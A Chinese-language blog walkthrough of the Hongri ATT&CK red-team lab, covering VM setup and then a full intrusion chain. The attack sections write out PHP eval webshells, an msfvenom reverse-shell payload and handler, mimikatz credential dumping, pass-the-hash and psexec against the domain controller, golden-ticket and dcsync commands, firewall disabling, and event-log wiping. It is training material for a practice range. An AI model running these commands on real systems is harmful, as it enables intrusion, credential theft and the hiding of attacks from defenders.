一.环境搭建(包教包会)
大家可以去这个网址去下载
或者也可以在我的百度网盘下载
通过网盘分享的文件:01 ATT&CK红队评估
链接: 百度网盘 请输入提取码 提取码: d2pu
--来自百度网盘超级会员v3的分享
下载完成之后是这个样子的
然后我们都解压并且在虚拟机里打开
然后我们开始搭建网络环境 配置虚拟网卡
我们点击 编辑 -虚拟网络编辑器
然后我们等待初始化完成
首先我们点击 更改设置
点击添加网络
选择 VMnet19 并且点击确定
他自己会给我们分配地址(设置为仅主机模式)
这里我推荐你们跟着我改一下,方便后续的操作,跟我一摸一样(方便你们跟着我一起复现)
我这里修改一下 修改为 192.168.52.0
然后我们点击
修改为
然后我们保存虚拟机配置 然后点击应用 然后退出
之后我们开始打开虚拟机
我们点击 我已复制虚拟机(每个打开的虚拟机都这样点击)
全部打开之后 我们就开始设置网卡 我们先看看我们的网络拓补图
看不懂没关系 我给你们画个简单的
首先我们打开win7添加一张网卡VMnet19
登陆的原始密码三台虚拟机 都是 hongrisec@2019
并且会提示要修改密码 这里我们统一修改成 hongrisec@2025
这里win7 的一定要记住 我们的VMnet19网卡在上边 nat模式在下边(顺序弄反了 环境也搭建不成功)
这里的Vmware tools都是旧版的 我推荐你们更新一下这样好操作
在每个虚拟机的界面都点击一下
点击下一步
再点击下一步
点击安装
然后等待安装成功
重启就好了 输入我们新改变的密码 hongrisec@2025
所有都设置好之后
然后我们打开win7
win +r 打开cmd 输入ipconfig
192.168.25.170(外网)
192.168.52.143(内网)
然后我们设置win2008(域控)
设置网卡为VMnet19
ip为192.168.52.138
然后设置win2003(域成员)
也是VMnet19网卡
ip是192.168.52.141
然后最后是我们的kail的坐标
192.168.25.138
然后
这里我们打开win7
找到该目录下 打开phpstudy.exe 然后点击启动
然后我们打开火狐
输入192.168.25.170 显示 phpstudy探针 我们的环境就搭建好了
至此我们的环境彻底搭建完成
我们总结
kail 192.168.25.138
win7 192.168.25.170 192.168.52.143
win2008 192.168.52.138
win2003 192.168.25.141
二.渗透测试
2.1 信息收集之扫描端口
首先给我们一个网址或者ip 我们的第一步就是信息收集
这里我们都知道这是个靶场我们不i在搜索其他的资产,这里我们直接扫描端口
2.1.1 用nmap扫描端口(还有其他用法,这里我不在介绍)
我们输入
nmap -sV 192.168.25.170
发现出80(网站) 135(telnet) 3306(数据库) 端口开放
2.1.2 可以用在线网站扫描(但是我这里是内网不能扫描,但是实际环境中 我们就可以)
在线端口检测,端口扫描,端口开放检查-在线工具-postjson
2.1.3 用masscan扫描端口(还有其他用法,这里我不在介绍)
我们输入
masscan -p 0-65535 192.168.25.170 --rate=2000
2.1.4 用naabu扫描端口
首先我们先安装naabu
然后我们输入
naabu -host 192.168.25.170 -p -
2.1.5 用rustscan扫描端口
我么输入
rustrustscan -a 192.168.25.170
2.1.6 用御剑扫描端口
工具有很多我就不再举例子了
2.2信息收集之扫描目录
首先我们访问
192.168.25.170:80
然后这里边暴露了主机的各种信息
绝对路径
C:/phpStudy/WWW
我们翻到最下边
发现有数据库登陆的用户名跟密码
我们就来试试有没有弱口令
我们通过信息收集 我们知道mysql默认的用户名密码是 root root 我们直接进行尝试
我们输入 root root
这里我们也可以 用bp或者yakit抓包 对他的用户名 密码进行爆破
也可以用其他的工具 这里我不在演示
当我们看到phpstudy探针的时候 我们就因该想起 大概率会存在 phpmyadmin
然后我们开始目录Fuzz
2.2.1 用御剑扫描目录
既然我们知道了此网站是由php语言编写的
我们就只勾选php 还有dir
扫描结果
2.2.2 用dirsearch扫描目录
在kail我们输入
dirsearch -u 192.168.25.170
2.2.3 用cansina扫描目录
https://github.com/deibit/cansina
我在终端输入
git clone https://github.com/deibit/cansina.git
然后我们输入
cansina -u 192.168.25.170 -p /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
3.1 漏洞利用
3.1.1phpmyadmin利用
我们扫描到的后台目录 phpadmin
我们输入
http://192.168.25.170/phpmyadmin/
我们通过信息收集 获得到phpmyadmin 的默认用户名和密码 都是 root root
登陆成功
当然我们也可以用bp或者yakit进行爆破
我们还可以用phpmyadmin专用破解工具
我们右键导入地址
文档里边是我们的地址
然后点击开始任务
然后我们如何利用呢
通过搜索得知 phpmyadmin可以通过日志写入木马文件 来获得webshell
我们输入
show variables like '%secure%';
这个方法不行了,行不通
我们输入
show variables like '%general%';
然后我们打开日志模式
set global general_log=on;
然后我们再来查询 发现已经打开了
然后在前期信息收集的时候我们就发现了 绝对路径
这样我们就为 连接webshell 创造了条件
然后我们输入
SET GLOBAL general_log_file='C:/phpStudy/www/111.php';
我们再来查询
show variables like '%general%';
可以看到日志路径 已经被替换了
接下来我们就输入sql语句 就会记录到这个文件日志里边
没执行之前
所以我们先来尝试
我们输入
select '<?php phpinfo(); ?>'
然后我们重新打开一个网页
我们输入
发现php语句已经被执行了
然后紧接着我们就要输入一句话木马了
select '<?php @eval($_POST["pwd"]); ?>'
然后我们打开中国蚁剑
我们输入 后门地址
输入密码 pwd
然后双击进去就是这个界面 搞不明白为撒还是乱码
这里博主搞了好长时间(好几个小时) 我链接别的机器也没有乱码 所以博主觉得应该是win7的问题 大概是我更新VMware tools的时候不小心都更新了 导致编码不一致(也不是这个问题)
哇哇哇哇 经过九牛二虎之力 博主终于把他解决了
唯一的问题就是
我们连接时候的编码要修改为bsae64
修改完成就好了
我们右键打开虚拟终端
输入whoami
可以看到我们呢获得了管理员的权限
这里我们就会有疑问
正常情况下 这两个地方的名字 应该是一样的 但是这里不一样
以我们呢大胆的猜测
STU1是计算机的名字 god是域的名字
所以我们输入ipconfig 来查看ip
发现有两个ip
192.168.25.170(这里是跟我们访问的ip 相等于在真实环境中的公网ip)
192.168.52.143(这个也就是与内网链接的ip)
然后我们来查看域
ifconfig /all
可以看到域是 god.org
然后我们输入
net view /domain 来查看其他的域
发现没显示
到这里我突然发现一个重要的事情 拿到webshell的第一刻起 我们既应该关闭防火墙
所以我们在终端输入
netsh advfirewall set allprofiles state off
然后我们输入 net view 查看域内其他的用户
说明我们这个不是域管理员用户 net user /domain(只有域管理员用户才可以执行)
之后我们就没啥可以利用的了
所以我们要把shell转到kail上
用kail做 信息收集 漏洞利用 权限提升 权限维持 内网渗透 横向移动 跨域攻击 痕迹清除
我们就打开kail因为这里win7没有啥杀毒软件 所以我们不用免杀 我们开始打开我们的kail 生成我们的后门文件
我们输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.25.138 LPORT=9999 -f exe -o 111.exe
然后我们在kail上开启监听模块
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.25.138
set lport 9999
run
然后我们把生成好的111.exe文件通过中国蚁剑下载到win7目标主机上 进行运行连接连接
记得上传到我们本机windows上的时候 一定要把杀毒软件关闭 不然就可能实验不成功
这里我们已经关闭了
这里主播在弄上个问题的时候(就是那个乱码的问题 不小心把win7重装了一下 然后ip就变了 主播也忘记绑定了,(其实就是懒得绑定了,就凑活着看吧),我的win7ip变为192.168.25.172(外网))
然后我们在终端运行
然后在kail主机上已经连接了meterpreter
我们发现还是本地管理员权限
接下来我们来看权限提升
3.1.2yxcms利用
在我们用蚁剑连接之后 我们就看见了网站的根目录
所以我们也发现了这个yxcms网站
我们进入 看到有后台默认的用户名 密码
我们输入网址
http://192.168.25.172/yxcms//index.php?r=admin/index/login
我们输入点击登录
登陆成功 我们利用弱密码
然后我们利用文件上传漏洞 点击 前台模板-管理模板文件
然后点击 新建
然后输入名称 webshell.php 输入内容一句话木马
<?php @eval($_POST["cmd"]);?>
然后点击创建
最后点击确定
然后我们只要知道木马文件所在的位置就好 我们可以通过利用phpmyadmin 上传的木马 来查看文件上传的路径
我们也可以通过下载备份文件(同样也是拿到webshell之后发现的)来看
C:\phpStudy\WWW\yxcms\protected\apps\default\view\default
然后我们来进行连接
http://192.168.25.172/yxcms/protected/apps/default/view/default/webshell.php
4.1权限提升
输入ps我们就可以看到 system 启动的服务
我们首先需要提权到系统权限
这里我们随便找一个 我们迁移到进程444
我们输入指令 migrate 444 然后发现我们也提权到系统最高权限了
我们现在来做
大家可以去看我的专栏 windows权限提升篇 这里我不再多说
5.1权限维持
大家可以去看我的专栏 windows权限维持篇 这里我不再多说
6.1内网渗透
6.1.1phpmyadmin的webshell
我们进入shell
我们输入net view 查看域内有几个主机
输入net view /domain 查看有几个域
输入 ipconfig /all 查看域名
我们输入
net group "domain controllers" /domain
net group "domain admins" /domain
net localgroup administrators /domain
这三个都不成功 都显示没有权限
nltest /dsgetdc:god.org 查看域控
然后我们通过arp -a 嗅探主机存活ip
到目前为止我们知道
god.org域内有三个主机
\OWA 域控主机 ip 192.168.52.138
\\ROOT-TVI862UBEH 域内主机 ip 192.168.52.141
\\STU1 win7 域内主机 ip 192.168.25.172(这里我ip改了 你们应该是170) 192.168.52.143
然后STU1 主机的权限我们都拿到了 接下来我们拿到域控主机的权限
然后可以我们kail的主机ip是192.168.25.172 目标域控的主机ip是192.168.52.138
这两个主机的ip根本就不在一个网段 这下哦我们该怎莫办额
答案只有一个 那就是跨路由访问,挂上代理
我们要把我们拿到全部权限的STU1主机当作跳板机 然后多内网主机进行访问
然后我们查看路由
run get_local_subnets
然后我们先设置路由
run autoroute -s 192.168.52.0/24
然后查看是否设置好
run autoroute -p
然后我们要设置代理服务器
bg
use auxiliary/server/socks_proxy
show options
run
然后我们查看代理服务器
jobs
我们已经配置好了
接下来
我们输入
sudo vi /etc/proxychains4.conf
这就是设置好了 接下来我们就可以访问192.168.52.138了
proxychains4 nmap -sV 192.168.25.170
我们就可以看到有几个常见的端口
其他的没啥特殊的 我们看见了445端口开放着
我们就想到了永恒之蓝漏洞利用模块
首先设置msf全局代理
setg Proxies socks5:192.168.25.138:1080
set ReverseAllowProxy true
这里我试过了 永恒之蓝模块 不能够利用 我这里不再演示
然后我们可以利用pth进行hash传递
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
明文密码被我们抓取到了
hongrisec@2019(你们这里应该是hongrisec@2025,因为我的原因 win7重装系统了)
在metasploite中存在一个psexec模块可以使用获取的hash进行登录
use exploit/windows/smb/psexec
set SMBUser administrator
set smbpass hongrisec@2019
这个也没有成功我就非常恼火
所以我试试
6.1.2yxcms的webshell
net group "domain controllers" /domain
net group "domain admins" /domain
net localgroup administrators /domain
这三个都成功了 说明这个是域控管理员权限
net group "domain controllers" /domain
用于在域环境中查看 “Domain Controllers”(域控制器)组中的成员。该命令会列出当前域中所有被定义为域控制器的计算机账户。
net group "domain admins" /domain
用于查看 “Domain Admins”(域管理员)组的成员。“Domain Admins” 组是域中具有最高管理权限的用户组,该命令会显示属于这个组的用户账户信息。
net localgroup administrators /domain
它用于查看本地计算机上 “Administrators”(管理员)组的成员信息,如果在域环境中使用/domain
参数,它会尝试从域控制器获取该本地组的成员信息,列出有权限在本地计算机上进行管理操作的用户和组,包括本地用户账户、域用户账户以及其他组。
再加上上一个尝试出来的信息 还是一样的
god.org域内有三个主机
\OWA 域控主机 ip 192.168.52.138
\\ROOT-TVI862UBEH 域内主机 ip 192.168.52.141
\\STU1 win7 域内主机 ip 192.168.25.172(这里我ip改了 你们应该是170) 192.168.52.143
然后我们重新监听在kail中
还是老样子把生成的exe文件上传到目标i主机上然后运行 这里我不再演示 因为跟上边的差不多
我们加载kiwi
输入creds_all
得到我们修改的密码hongrisec@2025
或者我们输入
kiwi_cmd sekurlsa::logonpasswords
我们找到登录STU1主机的密码的hash值
NTLM : 6e7d5c080add45885b387e0e47bf08b6
* SHA1 : b27e6564ca1848141b5bb4f866507139dcae738f
于是
至此我们知道了 域控管理员权限的账号密码
大家有兴趣可以去看我的内网渗透专栏
7.1横向移动
7.1.1用kail
administretor hongrisec@2025
于是我们开启远程桌面 打开win7
run post/windows/manage/enable_rdp
然后我们链接成功
至此win7的权限 我们已经全部拿到
然后我们就要尝试拿到域控的权限首先通过信息收集
域控的ip 192.168.52.138
我们的ip 192.168.25.138
这是出于两个网段 所以我们要跨路由访问
首先我们要添加路由
首先我们先来查看路由
run autoroute -p
发现啥也没有
然后我们来设置路由
run autoroute -s 192.168.52.0/24
然后再来查看
紧着这我们要添加代理服务器
use auxiliary/server/socks_proxy
然后我们输入 jobs
查看代理服务器是否开启
然后我们就要添加隧道代理
vi /etc/proxychains4.conf
设置好我们退出
然后扫描域控
proxychains4 nmap -sV 192.168.52.138
前边我们已经尝试过445端口ms17_010(失败)
首先设置msf全局代理
setg Proxies socks5:192.168.25.138:1080
set ReverseAllowProxy true
use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass hongrisec@2025
set smbdomain god.org
run
kail的pth攻击我们呢也失败了
也超时了
pstools成功了
PsExec64.exe /accepteula /s \\192.168.52.138 -u Administrator -p hongrisec@2025 cmd
但是这个psexec 使用hash登录失败了失败了
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 god.org/Administrator@192.168.52.138
python3 psexec.py god.org/Administrator@192.168.52.138
这个用法就成功了
然后我们关闭防火墙
netsh advfirewall set allprofiles state off
我们先查看是否
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
为0 是开启 1是关闭
然后我们输入
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
打开
开启3389端口服务
我们再来查看就开启了
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
然后我们用god.org\administrator hongrisec@2025进行登录
就登陆成功了
这是我们内网渗透中做的权限维持(黄金票据)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:58e91a5ac358d86513ab224312314061:::
S-1-5-21-2952760202-1353902439-2381784089
kerberos::golden /user:Administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:aad3b435b51404eeaad3b435b51404ee /ticket:1.kirbi
lsadump::dcsync /domain:god.org /user:krbtgt
dir \\owa.god.org\c$
7.1.2用cs
这里不再演示
这是我做成功的
大家感兴趣可以去看我的专栏
8.1跨域攻击
因为这里只有一个域 所以不存在跨域攻击
9.1痕迹清除
移除恶意软件和后门
查找并删除可疑程序和服务:通过文件资源管理器或命令行查找可疑的程序和服务。使用tasklist | findstr <可疑进程>查看正在运行的可疑进程,找到后用taskkill /F /PID <PID>终止进程。
清除日志文件
使用命令清除:可以使用wevtutil.exe命令来清空指定的事件日志。
例如,要清空应用程序日志,可使用wevtutil.exe cl Application;
若要清空系统日志和安全日志,分别使用wevtutil.exe cl System和wevtutil.exe cl Security。
也可以使用 PowerShell 命令Clear-EventLog -LogName Application, Security, System来清除相应日志。
通过事件查看器手动清除:打开 “事件查看器”(可通过在搜索栏中输入 “eventvwr.msc” 打开),选择需要清理的日志类型,如 “应用程序日志”“系统日志”“安全日志” 等,右键单击并选择 “清除日志” 选项。
清理系统历史记录及运行日志
清除最近打开的文件记录:
通过文件资源管理器手动清除:打开文件资源管理器,在快速访问中右键点击 “最近使用的文件”,选择 “清除最近访问记录”。
通过组策略禁用记录:打开组策略编辑器(在运行中输入 “gpedit.msc”),依次选择 “用户配置”→“管理模板”→“Windows 组件”→“文件资源管理器”,在右侧找到 “不保留最近打开的文档历史记录”,双击选择 “启用”。
清除浏览器相关记录:使用命令rundll32.exe inetcpl.cpl,clearmytracksbyprocess 8删除 Internet 临时文件;rundll32.exe inetcpl.cpl,clearmytracksbyprocess 2删除 Cookies;rundll32.exe inetcpl.cpl,clearmytracksbyprocess 1删除浏览历史记录;rundll32.exe inetcpl.cpl,clearmytracksbyprocess 255删除所有浏览器数据。
恢复修改的配置
检查用户账户和权限:删除渗透测试过程中创建的临时用户账户,使用命令net user <username> /delete。
恢复防火墙及安全设置:确保防火墙规则和入侵检测系统的设置恢复到测试前的状态。如果之前为了测试而修改了防火墙规则,可使用netsh命令来恢复,例如netsh advfirewall set allprofiles state on开启防火墙,然后根据需要重新配置规则。
清理网络活动痕迹
修改 ARP 缓存:使用arp -d <TARGET_IP>命令修改 ARP 缓存信息,以掩盖攻击源 IP。
其他清理
清除远程桌面连接痕迹:如果通过 3389 远程登录过,需要清除 mstsc 痕迹。可以通过删除注册表中相关键值来实现,在运行中输入regedit打开注册表编辑器,找到HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default和HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers,删除其中与远程连接相关的记录。
在进行痕迹清除操作时,需注意操作的细致性和合法性,避免误操作导致系统异常。同时,要明确渗透测试是在获得授权的前提下进行的,否则相关行为可能涉嫌违法。
三. 项目总结
学会渗透测试全流程
信息收集--漏洞利用--权限提升--权限维持--内网渗透--横向移动--跨域攻击--痕迹清除
每个流程都够我们学习一阵子